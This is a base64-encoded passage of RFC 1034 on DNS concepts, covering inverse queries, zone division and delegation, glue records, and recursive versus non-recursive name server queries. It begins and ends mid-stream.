WxhcgpyZXNvdXJjZSB0byBhIGRvbWFpbiBuYW1lIG9yIGRvbWFpbiBuYW1lcyB0aGF0IGhhdmUgdGhhdCByZXNvdXJjZS4gIEZvcgpleGFtcGxlLCB3aGlsZSBhIHN0YW5kYXJkIHF1ZXJ5IG1pZ2h0IG1hcCBhIGRvbWFpbiBuYW1lIHRvIGEgU09BIFJSLCB0aGUKY29ycmVzcG9uZGluZyBpbnZlcnNlIHF1ZXJ5IG1pZ2h0IG1hcCB0aGUgU09BIFJSIGJhY2sgdG8gdGhlIGRvbWFpbgpuYW1lLgoKSW1wbGVtZW50YXRpb24gb2YgdGhpcyBzZXJ2aWNlIGlzIG9wdGlvbmFsIGluIGEgbmFtZSBzZXJ2ZXIsIGJ1dCBhbGwKbmFtZSBzZXJ2ZXJzIG11c3QgYXQgbGVhc3QgYmUgYWJsZSB0byB1bmRlcnN0YW5kIGFuIGludmVyc2UgcXVlcnkKbWVzc2FnZSBhbmQgcmV0dXJuIGEgbm90LWltcGxlbWVudGVkIGVycm9yIHJlc3BvbnNlLgoKVGhlIGRvbWFpbiBzeXN0ZW0gY2Fubm90IGd1YXJhbnRlZSB0aGUgY29tcGxldGVuZXNzIG9yIHVuaXF1ZW5lc3Mgb2YKaW52ZXJzZSBxdWVyaWVzIGJlY2F1c2UgdGhlIGRvbWFpbiBzeXN0ZW0gaXMgb3JnYW5pemVkIGJ5IGRvbWFpbiBuYW1lCnJhdGhlciB0aGFuIGJ5IGhvc3QgYWRkcmVzcyBvciBhbnkgb3RoZXIgcmVzb3VyY2UgdHlwZS4gIEludmVyc2UgcXVlcmllcwphcmUgcHJpbWFyaWx5IHVzZWZ1bCBmb3IgZGVidWdnaW5nIGFuZCBkYXRhYmFzZSBtYWludGVuYW5jZSBhY3Rpdml0aWVzLgoKSW52ZXJzZSBxdWVyaWVzIG1heSBub3QgcmV0dXJuIHRoZSBwcm9wZXIgVFRMLCBhbmQgZG8gbm90IGluZGljYXRlIGNhc2VzCndoZXJlIHRoZSBpZGVudGlmaWVkIFJSIGlzIG9uZSBvZiBhIHNldCAoZm9yIGV4YW1wbGUsIG9uZSBhZGRyZXNzIGZvciBhCmhvc3QgaGF2aW5nIG11bHRpcGxlIGFkZHJlc3NlcykuICBUaGVyZWZvcmUsIHRoZSBSUnMgcmV0dXJuZWQgaW4gaW52ZXJzZQpxdWVyaWVzIHNob3VsZCBuZXZlciBiZSBjYWNoZWQuCgpJbnZlcnNlIHF1ZXJpZXMgYXJlIE5PVCBhbiBhY2NlcHRhYmxlIG1ldGhvZCBmb3IgbWFwcGluZyBob3N0IGFkZHJlc3Nlcwp0byBob3N0IG5hbWVzOyB1c2UgdGhlIElOLUFERFIuQVJQQSBkb21haW4gaW5zdGVhZC4KCkEgZGV0YWlsZWQgZGlzY3Vzc2lvbiBvZiBpbnZlcnNlIHF1ZXJpZXMgaXMgY29udGFpbmVkIGluIFtSRkMtMTAzNV0uCgozLjguIFN0YXR1cyBxdWVyaWVzIChFeHBlcmltZW50YWwpCgpUbyBiZSBkZWZpbmVkLgoKMy45LiBDb21wbGV0aW9uIHF1ZXJpZXMgKE9ic29sZXRlKQoKVGhlIG9wdGlvbmFsIGNvbXBsZXRpb24gc2VydmljZXMgZGVzY3JpYmVkIGluIFJGQ3MgODgyIGFuZCA4ODMgaGF2ZSBiZWVuCmRlbGV0ZWQuICBSZWRlc2lnbmVkIHNlcnZpY2VzIG1heSBiZWNvbWUgYXZhaWxhYmxlIGluIHRoZSBmdXR1cmUsIG9yIHRoZQpvcGNvZGVzIG1heSBiZSByZWNsYWltZWQgZm9yIG90aGVyIHVzZS4KCjQuIE5BTUUgU0VSVkVSUwoKNC4xLiBJbnRyb2R1Y3Rpb24KCk5hbWUgc2VydmVycyBhcmUgdGhlIHJlcG9zaXRvcmllcyBvZiBpbmZvcm1hdGlvbiB0aGF0IG1ha2UgdXAgdGhlIGRvbWFpbgpkYXRhYmFzZS4gIFRoZSBkYXRhYmFzZSBpcyBkaXZpZGVkIHVwIGludG8gc2VjdGlvbnMgY2FsbGVkIHpvbmVzLCB3aGljaAphcmUgZGlzdHJpYnV0ZWQgYW1vbmcgdGhlIG5hbWUgc2VydmVycy4gIFdoaWxlIG5hbWUgc2VydmVycyBjYW4gaGF2ZQpzZXZlcmFsIG9wdGlvbmFsIGZ1bmN0aW9ucyBhbmQgc291cmNlcyBvZiBkYXRhLCB0aGUgZXNzZW50aWFsIHRhc2sgb2YgYQpuYW1lIHNlcnZlciBpcyB0byBhbnN3ZXIgcXVlcmllcyB1c2luZyBkYXRhIGluIGl0cyB6b25lcy4gIEJ5IGRlc2lnbiwKCgoKTW9ja2FwZXRyaXMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1BhZ2UgMThdCgwKUkZDIDEwMzQgICAgICAgICAgICAgRG9tYWluIENvbmNlcHRzIGFuZCBGYWNpbGl0aWVzICAgICAgICBOb3ZlbWJlciAxOTg3CgoKbmFtZSBzZXJ2ZXJzIGNhbiBhbnN3ZXIgcXVlcmllcyBpbiBhIHNpbXBsZSBtYW5uZXI7IHRoZSByZXNwb25zZSBjYW4KYWx3YXlzIGJlIGdlbmVyYXRlZCB1c2luZyBvbmx5IGxvY2FsIGRhdGEsIGFuZCBlaXRoZXIgY29udGFpbnMgdGhlCmFuc3dlciB0byB0aGUgcXVlc3Rpb24gb3IgYSByZWZlcnJhbCB0byBvdGhlciBuYW1lIHNlcnZlcnMgImNsb3NlciIgdG8KdGhlIGRlc2lyZWQgaW5mb3JtYXRpb24uCgpBIGdpdmVuIHpvbmUgd2lsbCBiZSBhdmFpbGFibGUgZnJvbSBzZXZlcmFsIG5hbWUgc2VydmVycyB0byBpbnN1cmUgaXRzCmF2YWlsYWJpbGl0eSBpbiBzcGl0ZSBvZiBob3N0IG9yIGNvbW11bmljYXRpb24gbGluayBmYWlsdXJlLiAgQnkKYWRtaW5pc3RyYXRpdmUgZmlhdCwgd2UgcmVxdWlyZSBldmVyeSB6b25lIHRvIGJlIGF2YWlsYWJsZSBvbiBhdCBsZWFzdAp0d28gc2VydmVycywgYW5kIG1hbnkgem9uZXMgaGF2ZSBtb3JlIHJlZHVuZGFuY3kgdGhhbiB0aGF0LgoKQSBnaXZlbiBuYW1lIHNlcnZlciB3aWxsIHR5cGljYWxseSBzdXBwb3J0IG9uZSBvciBtb3JlIHpvbmVzLCBidXQgdGhpcwpnaXZlcyBpdCBhdXRob3JpdGF0aXZlIGluZm9ybWF0aW9uIGFib3V0IG9ubHkgYSBzbWFsbCBzZWN0aW9uIG9mIHRoZQpkb21haW4gdHJlZS4gIEl0IG1heSBhbHNvIGhhdmUgc29tZSBjYWNoZWQgbm9uLWF1dGhvcml0YXRpdmUgZGF0YSBhYm91dApvdGhlciBwYXJ0cyBvZiB0aGUgdHJlZS4gIFRoZSBuYW1lIHNlcnZlciBtYXJrcyBpdHMgcmVzcG9uc2VzIHRvIHF1ZXJpZXMKc28gdGhhdCB0aGUgcmVxdWVzdGVyIGNhbiB0ZWxsIHdoZXRoZXIgdGhlIHJlc3BvbnNlIGNvbWVzIGZyb20KYXV0aG9yaXRhdGl2ZSBkYXRhIG9yIG5vdC4KCjQuMi4gSG93IHRoZSBkYXRhYmFzZSBpcyBkaXZpZGVkIGludG8gem9uZXMKClRoZSBkb21haW4gZGF0YWJhc2UgaXMgcGFydGl0aW9uZWQgaW4gdHdvIHdheXM6IGJ5IGNsYXNzLCBhbmQgYnkgImN1dHMiCm1hZGUgaW4gdGhlIG5hbWUgc3BhY2UgYmV0d2VlbiBub2Rlcy4KClRoZSBjbGFzcyBwYXJ0aXRpb24gaXMgc2ltcGxlLiAgVGhlIGRhdGFiYXNlIGZvciBhbnkgY2xhc3MgaXMgb3JnYW5pemVkLApkZWxlZ2F0ZWQsIGFuZCBtYWludGFpbmVkIHNlcGFyYXRlbHkgZnJvbSBhbGwgb3RoZXIgY2xhc3Nlcy4gIFNpbmNlLCBieQpjb252ZW50aW9uLCB0aGUgbmFtZSBzcGFjZXMgYXJlIHRoZSBzYW1lIGZvciBhbGwgY2xhc3NlcywgdGhlIHNlcGFyYXRlCmNsYXNzZXMgY2FuIGJlIHRob3VnaHQgb2YgYXMgYW4gYXJyYXkgb2YgcGFyYWxsZWwgbmFtZXNwYWNlIHRyZWVzLiAgTm90ZQp0aGF0IHRoZSBkYXRhIGF0dGFjaGVkIHRvIG5vZGVzIHdpbGwgYmUgZGlmZmVyZW50IGZvciB0aGVzZSBkaWZmZXJlbnQKcGFyYWxsZWwgY2xhc3Nlcy4gIFRoZSBtb3N0IGNvbW1vbiByZWFzb25zIGZvciBjcmVhdGluZyBhIG5ldyBjbGFzcyBhcmUKdGhlIG5lY2Vzc2l0eSBmb3IgYSBuZXcgZGF0YSBmb3JtYXQgZm9yIGV4aXN0aW5nIHR5cGVzIG9yIGEgZGVzaXJlIGZvciBhCnNlcGFyYXRlbHkgbWFuYWdlZCB2ZXJzaW9uIG9mIHRoZSBleGlzdGluZyBuYW1lIHNwYWNlLgoKV2l0aGluIGEgY2xhc3MsICJjdXRzIiBpbiB0aGUgbmFtZSBzcGFjZSBjYW4gYmUgbWFkZSBiZXR3ZWVuIGFueSB0d28KYWRqYWNlbnQgbm9kZXMuICBBZnRlciBhbGwgY3V0cyBhcmUgbWFkZSwgZWFjaCBncm91cCBvZiBjb25uZWN0ZWQgbmFtZQpzcGFjZSBpcyBhIHNlcGFyYXRlIHpvbmUuICBUaGUgem9uZSBpcyBzYWlkIHRvIGJlIGF1dGhvcml0YXRpdmUgZm9yIGFsbApuYW1lcyBpbiB0aGUgY29ubmVjdGVkIHJlZ2lvbi4gIE5vdGUgdGhhdCB0aGUgImN1dHMiIGluIHRoZSBuYW1lIHNwYWNlCm1heSBiZSBpbiBkaWZmZXJlbnQgcGxhY2VzIGZvciBkaWZmZXJlbnQgY2xhc3NlcywgdGhlIG5hbWUgc2VydmVycyBtYXkKYmUgZGlmZmVyZW50LCBldGMuCgpUaGVzZSBydWxlcyBtZWFuIHRoYXQgZXZlcnkgem9uZSBoYXMgYXQgbGVhc3Qgb25lIG5vZGUsIGFuZCBoZW5jZSBkb21haW4KbmFtZSwgZm9yIHdoaWNoIGl0IGlzIGF1dGhvcml0YXRpdmUsIGFuZCBhbGwgb2YgdGhlIG5vZGVzIGluIGEKcGFydGljdWxhciB6b25lIGFyZSBjb25uZWN0ZWQuICBHaXZlbiwgdGhlIHRyZWUgc3RydWN0dXJlLCBldmVyeSB6b25lCmhhcyBhIGhpZ2hlc3Qgbm9kZSB3aGljaCBpcyBjbG9zZXIgdG8gdGhlIHJvb3QgdGhhbiBhbnkgb3RoZXIgbm9kZSBpbgp0aGUgem9uZS4gIFRoZSBuYW1lIG9mIHRoaXMgbm9kZSBpcyBvZnRlbiB1c2VkIHRvIGlkZW50aWZ5IHRoZSB6b25lLgoKSXQgd291bGQgYmUgcG9zc2libGUsIHRob3VnaCBub3QgcGFydGljdWxhcmx5IHVzZWZ1bCwgdG8gcGFydGl0aW9uIHRoZQpuYW1lIHNwYWNlIHNvIHRoYXQgZWFjaCBkb21haW4gbmFtZSB3YXMgaW4gYSBzZXBhcmF0ZSB6b25lIG9yIHNvIHRoYXQKYWxsIG5vZGVzIHdlcmUgaW4gYSBzaW5nbGUgem9uZS4gIEluc3RlYWQsIHRoZSBkYXRhYmFzZSBpcyBwYXJ0aXRpb25lZAphdCBwb2ludHMgd2hlcmUgYSBwYXJ0aWN1bGFyIG9yZ2FuaXphdGlvbiB3YW50cyB0byB0YWtlIG92ZXIgY29udHJvbCBvZgoKCgpNb2NrYXBldHJpcyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbUGFnZSAxOV0KDApSRkMgMTAzNCAgICAgICAgICAgICBEb21haW4gQ29uY2VwdHMgYW5kIEZhY2lsaXRpZXMgICAgICAgIE5vdmVtYmVyIDE5ODcKCgphIHN1YnRyZWUuICBPbmNlIGFuIG9yZ2FuaXphdGlvbiBjb250cm9scyBpdHMgb3duIHpvbmUgaXQgY2FuCnVuaWxhdGVyYWxseSBjaGFuZ2UgdGhlIGRhdGEgaW4gdGhlIHpvbmUsIGdyb3cgbmV3IHRyZWUgc2VjdGlvbnMKY29ubmVjdGVkIHRvIHRoZSB6b25lLCBkZWxldGUgZXhpc3Rpbmcgbm9kZXMsIG9yIGRlbGVnYXRlIG5ldyBzdWJ6b25lcwp1bmRlciBpdHMgem9uZS4KCklmIHRoZSBvcmdhbml6YXRpb24gaGFzIHN1YnN0cnVjdHVyZSwgaXQgbWF5IHdhbnQgdG8gbWFrZSBmdXJ0aGVyCmludGVybmFsIHBhcnRpdGlvbnMgdG8gYWNoaWV2ZSBuZXN0ZWQgZGVsZWdhdGlvbnMgb2YgbmFtZSBzcGFjZSBjb250cm9sLgpJbiBzb21lIGNhc2VzLCBzdWNoIGRpdmlzaW9ucyBhcmUgbWFkZSBwdXJlbHkgdG8gbWFrZSBkYXRhYmFzZQptYWludGVuYW5jZSBtb3JlIGNvbnZlbmllbnQuCgo0LjIuMS4gVGVjaG5pY2FsIGNvbnNpZGVyYXRpb25zCgpUaGUgZGF0YSB0aGF0IGRlc2NyaWJlcyBhIHpvbmUgaGFzIGZvdXIgbWFqb3IgcGFydHM6CgogICAtIEF1dGhvcml0YXRpdmUgZGF0YSBmb3IgYWxsIG5vZGVzIHdpdGhpbiB0aGUgem9uZS4KCiAgIC0gRGF0YSB0aGF0IGRlZmluZXMgdGhlIHRvcCBub2RlIG9mIHRoZSB6b25lIChjYW4gYmUgdGhvdWdodCBvZgogICAgIGFzIHBhcnQgb2YgdGhlIGF1dGhvcml0YXRpdmUgZGF0YSkuCgogICAtIERhdGEgdGhhdCBkZXNjcmliZXMgZGVsZWdhdGVkIHN1YnpvbmVzLCBpLmUuLCBjdXRzIGFyb3VuZCB0aGUKICAgICBib3R0b20gb2YgdGhlIHpvbmUuCgogICAtIERhdGEgdGhhdCBhbGxvd3MgYWNjZXNzIHRvIG5hbWUgc2VydmVycyBmb3Igc3Viem9uZXMKICAgICAoc29tZXRpbWVzIGNhbGxlZCAiZ2x1ZSIgZGF0YSkuCgpBbGwgb2YgdGhpcyBkYXRhIGlzIGV4cHJlc3NlZCBpbiB0aGUgZm9ybSBvZiBSUnMsIHNvIGEgem9uZSBjYW4gYmUKY29tcGxldGVseSBkZXNjcmliZWQgaW4gdGVybXMgb2YgYSBzZXQgb2YgUlJzLiAgV2hvbGUgem9uZXMgY2FuIGJlCnRyYW5zZmVycmVkIGJldHdlZW4gbmFtZSBzZXJ2ZXJzIGJ5IHRyYW5zZmVycmluZyB0aGUgUlJzLCBlaXRoZXIgY2FycmllZAppbiBhIHNlcmllcyBvZiBtZXNzYWdlcyBvciBieSBGVFBpbmcgYSBtYXN0ZXIgZmlsZSB3aGljaCBpcyBhIHRleHR1YWwKcmVwcmVzZW50YXRpb24uCgpUaGUgYXV0aG9yaXRhdGl2ZSBkYXRhIGZvciBhIHpvbmUgaXMgc2ltcGx5IGFsbCBvZiB0aGUgUlJzIGF0dGFjaGVkIHRvCmFsbCBvZiB0aGUgbm9kZXMgZnJvbSB0aGUgdG9wIG5vZGUgb2YgdGhlIHpvbmUgZG93biB0byBsZWFmIG5vZGVzIG9yCm5vZGVzIGFib3ZlIGN1dHMgYXJvdW5kIHRoZSBib3R0b20gZWRnZSBvZiB0aGUgem9uZS4KClRob3VnaCBsb2dpY2FsbHkgcGFydCBvZiB0aGUgYXV0aG9yaXRhdGl2ZSBkYXRhLCB0aGUgUlJzIHRoYXQgZGVzY3JpYmUKdGhlIHRvcCBub2RlIG9mIHRoZSB6b25lIGFyZSBlc3BlY2lhbGx5IGltcG9ydGFudCB0byB0aGUgem9uZSdzCm1hbmFnZW1lbnQuICBUaGVzZSBSUnMgYXJlIG9mIHR3byB0eXBlczogbmFtZSBzZXJ2ZXIgUlJzIHRoYXQgbGlzdCwgb25lCnBlciBSUiwgYWxsIG9mIHRoZSBzZXJ2ZXJzIGZvciB0aGUgem9uZSwgYW5kIGEgc2luZ2xlIFNPQSBSUiB0aGF0CmRlc2NyaWJlcyB6b25lIG1hbmFnZW1lbnQgcGFyYW1ldGVycy4KClRoZSBSUnMgdGhhdCBkZXNjcmliZSBjdXRzIGFyb3VuZCB0aGUgYm90dG9tIG9mIHRoZSB6b25lIGFyZSBOUyBSUnMgdGhhdApuYW1lIHRoZSBzZXJ2ZXJzIGZvciB0aGUgc3Viem9uZXMuICBTaW5jZSB0aGUgY3V0cyBhcmUgYmV0d2VlbiBub2RlcywKdGhlc2UgUlJzIGFyZSBOT1QgcGFydCBvZiB0aGUgYXV0aG9yaXRhdGl2ZSBkYXRhIG9mIHRoZSB6b25lLCBhbmQgc2hvdWxkCmJlIGV4YWN0bHkgdGhlIHNhbWUgYXMgdGhlIGNvcnJlc3BvbmRpbmcgUlJzIGluIHRoZSB0b3Agbm9kZSBvZiB0aGUKc3Viem9uZS4gIFNpbmNlIG5hbWUgc2VydmVycyBhcmUgYWx3YXlzIGFzc29jaWF0ZWQgd2l0aCB6b25lIGJvdW5kYXJpZXMsCk5TIFJScyBhcmUgb25seSBmb3VuZCBhdCBub2RlcyB3aGljaCBhcmUgdGhlIHRvcCBub2RlIG9mIHNvbWUgem9uZS4gIEluCnRoZSBkYXRhIHRoYXQgbWFrZXMgdXAgYSB6b25lLCBOUyBSUnMgYXJlIGZvdW5kIGF0IHRoZSB0b3Agbm9kZSBvZiB0aGUKCgoKTW9ja2FwZXRyaXMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1BhZ2UgMjBdCgwKUkZDIDEwMzQgICAgICAgICAgICAgRG9tYWluIENvbmNlcHRzIGFuZCBGYWNpbGl0aWVzICAgICAgICBOb3ZlbWJlciAxOTg3CgoKem9uZSAoYW5kIGFyZSBhdXRob3JpdGF0aXZlKSBhbmQgYXQgY3V0cyBhcm91bmQgdGhlIGJvdHRvbSBvZiB0aGUgem9uZQood2hlcmUgdGhleSBhcmUgbm90IGF1dGhvcml0YXRpdmUpLCBidXQgbmV2ZXIgaW4gYmV0d2Vlbi4KCk9uZSBvZiB0aGUgZ29hbHMgb2YgdGhlIHpvbmUgc3RydWN0dXJlIGlzIHRoYXQgYW55IHpvbmUgaGF2ZSBhbGwgdGhlCmRhdGEgcmVxdWlyZWQgdG8gc2V0IHVwIGNvbW11bmljYXRpb25zIHdpdGggdGhlIG5hbWUgc2VydmVycyBmb3IgYW55CnN1YnpvbmVzLiAgVGhhdCBpcywgcGFyZW50IHpvbmVzIGhhdmUgYWxsIHRoZSBpbmZvcm1hdGlvbiBuZWVkZWQgdG8KYWNjZXNzIHNlcnZlcnMgZm9yIHRoZWlyIGNoaWxkcmVuIHpvbmVzLiAgVGhlIE5TIFJScyB0aGF0IG5hbWUgdGhlCnNlcnZlcnMgZm9yIHN1YnpvbmVzIGFyZSBvZnRlbiBub3QgZW5vdWdoIGZvciB0aGlzIHRhc2sgc2luY2UgdGhleSBuYW1lCnRoZSBzZXJ2ZXJzLCBidXQgZG8gbm90IGdpdmUgdGhlaXIgYWRkcmVzc2VzLiAgSW4gcGFydGljdWxhciwgaWYgdGhlCm5hbWUgb2YgdGhlIG5hbWUgc2VydmVyIGlzIGl0c2VsZiBpbiB0aGUgc3Viem9uZSwgd2UgY291bGQgYmUgZmFjZWQgd2l0aAp0aGUgc2l0dWF0aW9uIHdoZXJlIHRoZSBOUyBSUnMgdGVsbCB1cyB0aGF0IGluIG9yZGVyIHRvIGxlYXJuIGEgbmFtZQpzZXJ2ZXIncyBhZGRyZXNzLCB3ZSBzaG91bGQgY29udGFjdCB0aGUgc2VydmVyIHVzaW5nIHRoZSBhZGRyZXNzIHdlIHdpc2gKdG8gbGVhcm4uICBUbyBmaXggdGhpcyBwcm9ibGVtLCBhIHpvbmUgY29udGFpbnMgImdsdWUiIFJScyB3aGljaCBhcmUgbm90CnBhcnQgb2YgdGhlIGF1dGhvcml0YXRpdmUgZGF0YSwgYW5kIGFyZSBhZGRyZXNzIFJScyBmb3IgdGhlIHNlcnZlcnMuClRoZXNlIFJScyBhcmUgb25seSBuZWNlc3NhcnkgaWYgdGhlIG5hbWUgc2VydmVyJ3MgbmFtZSBpcyAiYmVsb3ciIHRoZQpjdXQsIGFuZCBhcmUgb25seSB1c2VkIGFzIHBhcnQgb2YgYSByZWZlcnJhbCByZXNwb25zZS4KCjQuMi4yLiBBZG1pbmlzdHJhdGl2ZSBjb25zaWRlcmF0aW9ucwoKV2hlbiBzb21lIG9yZ2FuaXphdGlvbiB3YW50cyB0byBjb250cm9sIGl0cyBvd24gZG9tYWluLCB0aGUgZmlyc3Qgc3RlcAppcyB0byBpZGVudGlmeSB0aGUgcHJvcGVyIHBhcmVudCB6b25lLCBhbmQgZ2V0IHRoZSBwYXJlbnQgem9uZSdzIG93bmVycwp0byBhZ3JlZSB0byB0aGUgZGVsZWdhdGlvbiBvZiBjb250cm9sLiAgV2hpbGUgdGhlcmUgYXJlIG5vIHBhcnRpY3VsYXIKdGVjaG5pY2FsIGNvbnN0cmFpbnRzIGRlYWxpbmcgd2l0aCB3aGVyZSBpbiB0aGUgdHJlZSB0aGlzIGNhbiBiZSBkb25lLAp0aGVyZSBhcmUgc29tZSBhZG1pbmlzdHJhdGl2ZSBncm91cGluZ3MgZGlzY3Vzc2VkIGluIFtSRkMtMTAzMl0gd2hpY2gKZGVhbCB3aXRoIHRvcCBsZXZlbCBvcmdhbml6YXRpb24sIGFuZCBtaWRkbGUgbGV2ZWwgem9uZXMgYXJlIGZyZWUgdG8KY3JlYXRlIHRoZWlyIG93biBydWxlcy4gIEZvciBleGFtcGxlLCBvbmUgdW5pdmVyc2l0eSBtaWdodCBjaG9vc2UgdG8gdXNlCmEgc2luZ2xlIHpvbmUsIHdoaWxlIGFub3RoZXIgbWlnaHQgY2hvb3NlIHRvIG9yZ2FuaXplIGJ5IHN1YnpvbmVzCmRlZGljYXRlZCB0byBpbmRpdmlkdWFsIGRlcGFydG1lbnRzIG9yIHNjaG9vbHMuICBbUkZDLTEwMzNdIGNhdGFsb2dzCmF2YWlsYWJsZSBETlMgc29mdHdhcmUgYW4gZGlzY3Vzc2VzIGFkbWluaXN0cmF0aW9uIHByb2NlZHVyZXMuCgpPbmNlIHRoZSBwcm9wZXIgbmFtZSBmb3IgdGhlIG5ldyBzdWJ6b25lIGlzIHNlbGVjdGVkLCB0aGUgbmV3IG93bmVycwpzaG91bGQgYmUgcmVxdWlyZWQgdG8gZGVtb25zdHJhdGUgcmVkdW5kYW50IG5hbWUgc2VydmVyIHN1cHBvcnQuICBOb3RlCnRoYXQgdGhlcmUgaXMgbm8gcmVxdWlyZW1lbnQgdGhhdCB0aGUgc2VydmVycyBmb3IgYSB6b25lIHJlc2lkZSBpbiBhCmhvc3Qgd2hpY2ggaGFzIGEgbmFtZSBpbiB0aGF0IGRvbWFpbi4gIEluIG1hbnkgY2FzZXMsIGEgem9uZSB3aWxsIGJlCm1vcmUgYWNjZXNzaWJsZSB0byB0aGUgaW50ZXJuZXQgYXQgbGFyZ2UgaWYgaXRzIHNlcnZlcnMgYXJlIHdpZGVseQpkaXN0cmlidXRlZCByYXRoZXIgdGhhbiBiZWluZyB3aXRoaW4gdGhlIHBoeXNpY2FsIGZhY2lsaXRpZXMgY29udHJvbGxlZApieSB0aGUgc2FtZSBvcmdhbml6YXRpb24gdGhhdCBtYW5hZ2VzIHRoZSB6b25lLiAgRm9yIGV4YW1wbGUsIGluIHRoZQpjdXJyZW50IEROUywgb25lIG9mIHRoZSBuYW1lIHNlcnZlcnMgZm9yIHRoZSBVbml0ZWQgS2luZ2RvbSwgb3IgVUsKZG9tYWluLCBpcyBmb3VuZCBpbiB0aGUgVVMuICBUaGlzIGFsbG93cyBVUyBob3N0cyB0byBnZXQgVUsgZGF0YSB3aXRob3V0CnVzaW5nIGxpbWl0ZWQgdHJhbnNhdGxhbnRpYyBiYW5kd2lkdGguCgpBcyB0aGUgbGFzdCBpbnN0YWxsYXRpb24gc3RlcCwgdGhlIGRlbGVnYXRpb24gTlMgUlJzIGFuZCBnbHVlIFJScwpuZWNlc3NhcnkgdG8gbWFrZSB0aGUgZGVsZWdhdGlvbiBlZmZlY3RpdmUgc2hvdWxkIGJlIGFkZGVkIHRvIHRoZSBwYXJlbnQKem9uZS4gIFRoZSBhZG1pbmlzdHJhdG9ycyBvZiBib3RoIHpvbmVzIHNob3VsZCBpbnN1cmUgdGhhdCB0aGUgTlMgYW5kCmdsdWUgUlJzIHdoaWNoIG1hcmsgYm90aCBzaWRlcyBvZiB0aGUgY3V0IGFyZSBjb25zaXN0ZW50IGFuZCByZW1haW4gc28uCgo0LjMuIE5hbWUgc2VydmVyIGludGVybmFscwoKCgoKTW9ja2FwZXRyaXMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1BhZ2UgMjFdCgwKUkZDIDEwMzQgICAgICAgICAgICAgRG9tYWluIENvbmNlcHRzIGFuZCBGYWNpbGl0aWVzICAgICAgICBOb3ZlbWJlciAxOTg3CgoKNC4zLjEuIFF1ZXJpZXMgYW5kIHJlc3BvbnNlcwoKVGhlIHByaW5jaXBhbCBhY3Rpdml0eSBvZiBuYW1lIHNlcnZlcnMgaXMgdG8gYW5zd2VyIHN0YW5kYXJkIHF1ZXJpZXMuCkJvdGggdGhlIHF1ZXJ5IGFuZCBpdHMgcmVzcG9uc2UgYXJlIGNhcnJpZWQgaW4gYSBzdGFuZGFyZCBtZXNzYWdlIGZvcm1hdAp3aGljaCBpcyBkZXNjcmliZWQgaW4gW1JGQy0xMDM1XS4gIFRoZSBxdWVyeSBjb250YWlucyBhIFFUWVBFLCBRQ0xBU1MsCmFuZCBRTkFNRSwgd2hpY2ggZGVzY3JpYmUgdGhlIHR5cGVzIGFuZCBjbGFzc2VzIG9mIGRlc2lyZWQgaW5mb3JtYXRpb24KYW5kIHRoZSBuYW1lIG9mIGludGVyZXN0LgoKVGhlIHdheSB0aGF0IHRoZSBuYW1lIHNlcnZlciBhbnN3ZXJzIHRoZSBxdWVyeSBkZXBlbmRzIHVwb24gd2hldGhlciBpdAppcyBvcGVyYXRpbmcgaW4gcmVjdXJzaXZlIG1vZGUgb3Igbm90OgoKICAgLSBUaGUgc2ltcGxlc3QgbW9kZSBmb3IgdGhlIHNlcnZlciBpcyBub24tcmVjdXJzaXZlLCBzaW5jZSBpdAogICAgIGNhbiBhbnN3ZXIgcXVlcmllcyB1c2luZyBvbmx5IGxvY2FsIGluZm9ybWF0aW9uOiB0aGUgcmVzcG9uc2UKICAgICBjb250YWlucyBhbiBlcnJvciwgdGhlIGFuc3dlciwgb3IgYSByZWZlcnJhbCB0byBzb21lIG90aGVyCiAgICAgc2VydmVyICJjbG9zZXIiIHRvIHRoZSBhbnN3ZXIuICBBbGwgbmFtZSBzZXJ2ZXJzIG11c3QKICAgICBpbXBsZW1lbnQgbm9uLXJlY3Vyc2l2ZSBxdWVyaWVzLgoKICAgLSBUaGUgc2ltcGxlc3QgbW9kZSBmb3IgdGhlIGNsaWVudCBpcyByZWN1cnNpdmUsIHNpbmNlIGluIHRoaXMKICAgICBtb2RlIHRoZSBuYW1lIHNlcnZlciBhY3RzIGluIHRoZSByb2xlIG9mIGEgcmVzb2x2ZXIgYW5kCiAgICAgcmV0dXJucyBlaXRoZXIgYW4gZXJyb3Igb3IgdGhlIGFuc3dlciwgYnV0IG5ldmVyIHJlZmVycmFscy4KICAgICBUaGlzIHNlcnZpY2UgaXMgb3B0aW9uYWwgaW4gYSBuYW1lIHNlcnZlciwgYW5kIHRoZSBuYW1lIHNlcnZlcgogICAgIG1heSBhbHNvIGNob29zZSB0byByZXN0cmljdCB0aGUgY2xpZW50cyB3aGljaCBjYW4gdXNlCiAgICAgcmVjdXJzaXZlIG1vZGUuCgpSZWN1cnNpdmUgc2VydmljZSBpcyBoZWxwZnVsIGluIHNldmVyYWwgc2l0dWF0aW9uczoKCiAgIC0gYSByZWxhdGl2ZWx5IHNpbXBsZSByZXF1ZXN0ZXIgdGhhdCBsYWNrcyB0aGUgYWJpbGl0eSB0byB1c2UKICAgICBhbnl0aGluZyBvdGhlciB0aGFuIGEgZGlyZWN0IGFuc3dlciB0byB0aGUgcXVlc3Rpb24uCgogICAtIGEgcmVxdWVzdCB0aGF0IG5lZWRzIHRvIGNyb3NzIHByb3RvY29sIG9yIG90aGVyIGJvdW5kYXJpZXMgYW5kCiAgICAgY2FuIGJlIHNlbnQgdG8gYSBzZXJ2ZXIgd2hpY2ggY2FuIGFjdCBhcyBpbnRlcm1lZGlhcnkuCgogICAtIGEgbmV0d29yayB3aGVyZSB3ZSB3YW50IHRvIGNvbmNlbnRyYXRlIHRoZSBjYWNoZSByYXRoZXIgdGhhbgogICAgIGhhdmluZyBhIHNlcGFyYXRlIGNhY2hlIGZvciBlYWNoIGNsaWVudC4KCk5vbi1yZWN1cnNpdmUgc2VydmljZSBpcyBhcHByb3ByaWF0ZSBpZiB0aGUgcmVxdWVzdGVyIGlzIGNhcGFibGUgb2YKcHVyc3VpbmcgcmVmZXJyYWxzIGFuZCBpbnRlcmVzdGVkIGluIGluZm9ybWF0aW9uIHdoaWNoIHdpbGwgYWlkIGZ1dHVyZQpyZXF1ZXN0cy4KClRoZSB1c2Ugb2YgcmVjdXJzaXZlIG1vZGUgaXMgbGltaXRlZCB0byBjYXNlcyB3aGVyZSBib3RoIHRoZSBjbGllbnQgYW5kCnRoZSBuYW1lIHNlcnZlciBhZ3JlZSB0byBpdHMgdXNlLiAgVGhlIGF